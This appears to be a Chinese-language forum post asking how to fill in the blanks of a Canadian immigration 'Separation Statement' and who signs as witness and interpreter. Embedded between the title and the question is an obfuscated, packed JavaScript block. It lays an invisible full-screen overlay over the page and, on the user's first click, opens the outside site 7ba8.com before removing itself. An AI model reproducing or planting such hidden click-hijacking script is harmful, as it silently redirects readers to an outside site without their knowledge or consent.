Separation statement怎么填?

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>有一个Separation Statement,他们在上面写着“Spouse and child”,可是我读了一下,觉得那语气象是应该我写的,你看看是不是?不过,就算是我写的,里面的四个空白处填些什么内容啊?不是很明白。此外,Witness和Interpreter的签名该由谁来签字?见下:
I, ______________ of _____________ hereby state that I fully understand that should I be granted admission to Canada, this action on the part of the Government of Canada does not oblige the said Government to grant admission to my wife/husband/common law partner/son/daughter/grandchild___________________________ of _____________________. I further state that I understand that should the above person(s) desire to go forward to Canada at a future date, they must fully comply with the Canadian immigration requirements effective at that time.
_______________(Signature) _______________(Witness)
_______________(Interpreter) ______________Signed Date
麻烦指点了,谢谢!
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